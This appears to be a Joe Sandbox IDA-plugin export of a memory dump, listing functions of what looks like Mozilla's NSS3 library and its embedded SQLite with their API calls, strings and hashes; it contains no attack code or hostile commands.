Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 66dca5b715c29d35883fc81404a055ddb479e4e1eb869f56710bd430b3e2f260
Instruction ID: b7d909a5adcf874906af8c990bf8d583d237921679fa7a327657017a4c8488c3
Opcode Fuzzy Hash: 66dca5b715c29d35883fc81404a055ddb479e4e1eb869f56710bd430b3e2f260
Instruction Fuzzy Hash: AA429DB1A052049FDF00DF64C84AB9A3BB0FB4B349FB54039DA068BB25E731D565CB99

Function 6C733FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C733FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C733FFE
malloc.MOZGLUE(-00000003), ref: 6C734016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C76FC62), ref: 6C73404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C73407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7340A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7340D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734112
malloc.MOZGLUE(00000000), ref: 6C73411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C73414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734160
free.MOZGLUE(?), ref: 6C73416C
malloc.MOZGLUE(?), ref: 6C7341AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7341EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C734520), ref: 6C734244
GetEnvironmentStrings.KERNEL32 ref: 6C73424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7342B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7342E4
malloc.MOZGLUE(00000002), ref: 6C7342FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C734342
GetStdHandle.KERNEL32(000000F6), ref: 6C7343AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7343B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7343B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C734403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734410

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C73445E
CloseHandle.KERNEL32(?), ref: 6C73446B
free.MOZGLUE(?), ref: 6C734482
free.MOZGLUE(00000000), ref: 6C734492
free.MOZGLUE(00000000), ref: 6C7344A4
GetLastError.KERNEL32 ref: 6C7344B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7344BE
free.MOZGLUE(?), ref: 6C7344C7
free.MOZGLUE(00000000), ref: 6C7344D5
free.MOZGLUE(00000000), ref: 6C7344EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6C7341E9
D, xrefs: 6C734396
=, xrefs: 6C7344F8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 1f8791532a2fbf2be6d995d452f74fdac6231be8da05ad4dfa77d5013b0ae60d
Instruction ID: 579c2f5583b281027ff6ee63af832ee69931d90075f31660887533df47b6b273
Opcode Fuzzy Hash: 1f8791532a2fbf2be6d995d452f74fdac6231be8da05ad4dfa77d5013b0ae60d
Instruction Fuzzy Hash: 9F02F571E043259BEB158F69CA847AEBFB4AF0A308F245178DC5DA7743D7329804DBA1

Function 6C684840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C66601B,?,00000000,?), ref: 6C68486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6848A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6848BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6848DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6848F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C68490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C684919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C68493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6849A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6849AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6849D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6849F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C684A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C684A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C684A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C684A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C684A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C684A81
free.MOZGLUE(00000000), ref: 6C684AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C684ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C684ADC
free.MOZGLUE(00000000), ref: 6C684B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C684B33

Part of subcall function 6C684120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68413D
Part of subcall function 6C684120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C684162
Part of subcall function 6C684120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68416B
Part of subcall function 6C684120: PL_strncasecmp.NSS3(2Bhl,?,00000001), ref: 6C684187
Part of subcall function 6C684120: NSSUTIL_ArgSkipParameter.NSS3(2Bhl), ref: 6C6841A0
Part of subcall function 6C684120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6841B4
Part of subcall function 6C684120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6841CC
Part of subcall function 6C684120: NSSUTIL_ArgFetchValue.NSS3(2Bhl,?), ref: 6C684203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C684B53
free.MOZGLUE(00000000), ref: 6C684B94
free.MOZGLUE(?), ref: 6C684BA7
free.MOZGLUE(00000000), ref: 6C684BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684BC8

Strings

hasRootCerts, xrefs: 6C684AD6
every, xrefs: 6C684A66
hasRootTrust, xrefs: 6C684B4D
slotFlags, xrefs: 6C684A22
timeout, xrefs: 6C684A38, 6C684A7B
askpw, xrefs: 6C684A4A
rootFlags, xrefs: 6C684AB9, 6C684B2E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 5a0546c6e46f7fe28d3489d71809b7238cbb7c67f6d42f378f28b009cb6f99c1
Instruction ID: 816b6c01c1732fffb4b734a8ae64326d9a364cee5c0ca279b3b4a08f04dbf7a4
Opcode Fuzzy Hash: 5a0546c6e46f7fe28d3489d71809b7238cbb7c67f6d42f378f28b009cb6f99c1
Instruction Fuzzy Hash: 75C116B0E462558BEF11CF689C60BFE7BBCAF0A308F140065E855A7B01E7A1D914C7B9

Function 6C646D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C74A8EC,0000006C), ref: 6C646DC6
memcpy.VCRUNTIME140(?,6C74A958,0000006C), ref: 6C646DDB
memcpy.VCRUNTIME140(?,6C74A9C4,00000078), ref: 6C646DF1
memcpy.VCRUNTIME140(?,6C74AA3C,0000006C), ref: 6C646E06
memcpy.VCRUNTIME140(?,6C74AAA8,00000060), ref: 6C646E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C646E38

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C646E76
TlsGetValue.KERNEL32 ref: 6C64726F
EnterCriticalSection.KERNEL32(?), ref: 6C647283

Strings

!, xrefs: 6C647123

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction ID: c24c9c60ea3e8779bbab2bef36d9d76f1fff47341798fffe0603e08a7d76e67d
Opcode Fuzzy Hash: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction Fuzzy Hash: 53728FB5D052189FDF60DF28CC88B9ABBB5AF49304F1481E9D80CA7711E731AA85CF95

Function 6C5B3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5B3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5B410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B449C

Strings

%s at line %d of [%.10s], xrefs: 6C5B4495, 6C5B44F9, 6C5B459E, 6C5B4769, 6C5B4809
database corruption, xrefs: 6C5B4490, 6C5B44F4, 6C5B4599, 6C5B4764, 6C5B4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B4452, 6C5B4486, 6C5B44EA, 6C5B4571, 6C5B4580, 6C5B458F, 6C5B475A, 6C5B47FA

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction ID: f7c940f5e7bbd67cc119d5e568918492d9f399ee9cbd8efa3fb36e5367d14951
Opcode Fuzzy Hash: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction Fuzzy Hash: 7582D370A00205CFCB14CF69C9A0B9EBBB2BF49318F258569D905BBB51E731EC46CB91

Function 6C68AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C68ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C68ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C68ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C68AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C68ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADF0

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C68B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C68B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B40C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction ID: b92c5477451af3d64f5dd5c297153d2aa4136dfb3e47aa8a3edfdd60cf4922d4
Opcode Fuzzy Hash: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction Fuzzy Hash: 1B22BE70905300AFE710CF14CC45F9A77E1AF8530CF248968E9595B7A2E772E859CBAE

Function 6C5D1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5D25F3

Strings

table %s has %d values for %d columns, xrefs: 6C5D316C
unsafe use of virtual table "%s", xrefs: 6C5D30D1
no tables specified, xrefs: 6C5D26BE
H, xrefs: 6C5D322D
'%s' is not a function, xrefs: 6C5D2FD2
cannot have both ON and USING clauses in the same join, xrefs: 6C5D32B5
multiple recursive references: %s, xrefs: 6C5D22E0
%s.%s.%s, xrefs: 6C5D302D
recursive reference in a subquery: %s, xrefs: 6C5D22E5
no such index: "%s", xrefs: 6C5D319D
too many references to "%s": max 65535, xrefs: 6C5D2FB6
a NATURAL join may not have an ON or USING clause, xrefs: 6C5D32C1
too many columns in result set, xrefs: 6C5D3012
%s.%s, xrefs: 6C5D2D68
cannot join using column %s - column not present in both tables, xrefs: 6C5D32AB
no such table: %s, xrefs: 6C5D26AC
H, xrefs: 6C5D329F
access to view "%s" prohibited, xrefs: 6C5D2F4A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: c8ec71d9a544f7a082973d462b6617471152e18d300d44941b6e6562136fe1be
Instruction ID: 8a0c7edfde49e86b849b208da1714c01430b67f905ea652e78676c39960c63ab
Opcode Fuzzy Hash: c8ec71d9a544f7a082973d462b6617471152e18d300d44941b6e6562136fe1be
Instruction Fuzzy Hash: 0FD25974E04309CFDB04CF99CC88A9DB7B1BF89308F2A85A9D855ABB51D731AC46CB54

Function 6C60ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60ED38

Part of subcall function 6C5A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C60EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C60EFE4

Part of subcall function 6C6CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F129
sqlite3_mprintf.NSS3(optimize), ref: 6C60F1D1
sqlite3_free.NSS3(?), ref: 6C60F368

Strings

fts3tokenize, xrefs: 6C60F30F
porter, xrefs: 6C60ED97
fts4, xrefs: 6C60F2AD
fts4aux, xrefs: 6C60ECF9
fts3, xrefs: 6C60F247
snippet, xrefs: 6C60EF05, 6C60EF37, 6C60EF7C
optimize, xrefs: 6C60F199, 6C60F1CC, 6C60F211
offsets, xrefs: 6C60EFAF, 6C60EFDF, 6C60F01F
simple, xrefs: 6C60ED79
matchinfo, xrefs: 6C60F04F, 6C60F082, 6C60F0C2, 6C60F0F2, 6C60F124, 6C60F169
unicode61, xrefs: 6C60EDB5
fts3_tokenizer, xrefs: 6C60EE1A, 6C60EEA8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction ID: ae8bb4decf5e5e8ed5155f1e745dcd33ea28aa3d15415e9f240dfbd6a4039f6b
Opcode Fuzzy Hash: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction Fuzzy Hash: 1B0223B1B043008BE7089E719E8533B36B5BBC6718F24453CD95AA7B41EB71E846C79B

Function 6C687C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C687C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C687D1E

Part of subcall function 6C687870: SECOID_FindOID_Util.NSS3(?,?,?,6C6891C5), ref: 6C68788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C687DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687E58

Part of subcall function 6C687870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6891C5), ref: 6C6878BB
Part of subcall function 6C687870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6891C5), ref: 6C6878FA
Part of subcall function 6C687870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687930
Part of subcall function 6C687870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687951
Part of subcall function 6C687870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C687964
Part of subcall function 6C687870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68797A
Part of subcall function 6C687870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C687988
Part of subcall function 6C687870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C687998
Part of subcall function 6C687870: free.MOZGLUE(00000000), ref: 6C6879A7
Part of subcall function 6C687870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C6879BB
Part of subcall function 6C687870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6891C5), ref: 6C6879CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C687FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C687FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C688038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C688050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C688093
SECOID_FindOID_Util.NSS3 ref: 6C687F29

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C688072
SECOID_FindOID_Util.NSS3 ref: 6C6880F5

Part of subcall function 6C68BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C68800A,00000000,?,00000000,?), ref: 6C68BC3F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
